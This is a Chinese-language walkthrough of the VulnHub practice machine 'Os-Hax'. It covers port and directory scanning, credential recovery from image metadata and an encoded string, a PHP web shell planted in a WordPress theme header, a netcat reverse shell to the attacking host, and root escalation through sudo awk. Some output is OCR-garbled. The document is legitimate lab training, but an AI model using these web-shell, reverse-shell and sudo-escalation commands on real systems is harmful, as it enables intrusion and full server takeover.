靶机系列测试教程 Os-Hax

1 简介

1.1 交流平台

随着教程的推出,看视频的人也越来越多,随之而来的问题也增多,本人平时非常忙,难以有时间回复大家的问题,特意建立了一个 QQ 群,里面有很多这方面的高手,有什么不懂的,请到群里提问,问问题的时候,一定要详细,不然没人会回复你,另外本人有时间会在群内直播测试靶机,还没加上群的赶快加上了。

交流 QQ 群

微信号



1.2 靶机介绍

描述	说明	
Difficulty	Intermediate	
Flag	boot-root	
Learing	exploit web application Security Privilege Escalation	
Contact	https://www.linkedin.com/in/rahulgehlaut/	

下载地址

https://www.vulnhub.com/entry/hacknos-os-hax,389/

难度 为中级

2 测试过程

2.1 nmap 探测端口信息

nmap -sV -sC- 192.168.0.156 -oA os-hax-allports



2.2 gobuster 扫描目录

gobuster dir -u http://192.168.0.156 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/img (Status: 301) /html (Status: 301) /css (Status: 301) /wordpress (Status: 301) /js (Status: 301) /server-status (Status: 403)

2.3 通过图片获取字符目录

访问目录 /img/发现存在目录写浏览

Index of	/img	0		
Name	Last modified	<u>Size</u> Desc	ription	
Parent Director	ry			
🛃 bg.jpg	2019-11-01 10:58	759K		
🛐 <u>fcon.ico</u>	2019-06-24 23:27	23K		
🛐 <u>flaghost.png</u>	2019-11-01 16:20	26K		
icons/	2019-06-24 23:27	-		

下载 flaghost.png 查看图片属性 exiftool flaghost.png 得到字符 passwd@45

root@kali:~/Downloads# exiftool	flaghost.png
ExifTool Version Number	: 11.76
File Name	: flaghost.png
Directory	:.
File Size	: 26 kB
File Modification Date/Time	: 2019:12:18 19:45:20-09:00
File Access Date/Time	: 2019:12:18 19:47:11-09:00
File Inode Change Date/Time	: 2019:12:18 19:45:20-09:00
File Permissions	: rw-rr
File Type	: PNG
File Type Extension	: png
MIME Type	: image/png
Image Width	: 387
Image Height	: 98
Bit Depth	: 8
Color Type	: RGB
Compression	: Deflate/Inflate
Filter	: Adaptive
Interlace	: Noninterlaced
Pixels Per Unit X	: 3780
Pixels Per Unit Y	: 3780
Pixel Units	: meters
Make	: passw@45
Image Size	: 387×98
Megapixels	: 0.038

2.4 获取 wordpress 账号和密码

passwd@45 编码之后访问获取 flag2.txt

i+++++ +++++ [->++ +++++ ++++<] >+++++ +++++ ++++++ .<++++ +[->----<]
>----<]>----<]>----<]>-++++[->++++]>+++++ .<++++[->-------<]>----<]>----<]>----<]>----<]>----<]>----

<u>https://www.splitbrain.org/services/ook</u> 解密字符 web:Hacker@4514

2.5 获取 shell 权限

首先编辑 vi /etc/hosts

192.168.0.156 localhost

访问 http://localhost/wordpress/wp-admin/theme-editor.php?file=header.php&theme=twentynineteen

写入<?php system(\$_POST['cmd']);?>



WordPress 5.3.2 is available! Please update now.

Edit Themes

Twenty Nineteen: Theme Header (header.php)

Selected file content:

```
1 <?php
2 system($ REQUEST['cmd']);
3 /**
   * The header for our theme
4
5
   *
6 * This is the template that displays all of the <head> section and
  id="content">
7
8 * @link https://developer.wordpress.org/themes/basics/template-fil
9
   **
10 * @package WordPress
11 * @subpackage Twenty Nineteen
12 * @since 1.0.0
13 */
14 ?><!doctype html>
15 <html <?php language attributes(); ?>>
16 <head>
17
      <meta charset="<?php bloginfo( 'charset' ); ?>" />
     <meta name="viewport" content="width=device-width, initial-scal
18
      <link rel="profile" href="https://gmpg.org/xfn/11" />
19
      <?php wp head(); ?>
20
```

2.6 反弹 shell

nc -lvnp 9001 cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f]/bin/sh+-i+2>%261|nc+192.168.0.124+9001+>/tmp/f



切换 python shell

python -c 'import pty;pty.spawn("/bin/bash")'



2.7 登录 web 用户

su web 输入密码 Hacker@4514



2.8 特权提升

sudo-l 看到可以使用 awk 命令



调用 system 函数成功提权到 root sudo awk '{ system("/bin/bash")}'

root@jax:~# cat /root/final.txt
עבבין אין דער דער איין איין איין איין איין איין איין איי
ingt 127.0.0.1 (netwask 255.0.0.0) ingt6 ::1 (netfikter 128) scopeld #el0clusts
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
Rahul_Gehlaut 👄 https://www.linkedin.com/in/rahulgehlaut/
Web_Site =>> http://jameshacker.me root@jax:~# a

3 修复建议

- 升级 Ubuntu 版本
- 修改/etc/sudoers 文件
- apache 目录 设置不可浏览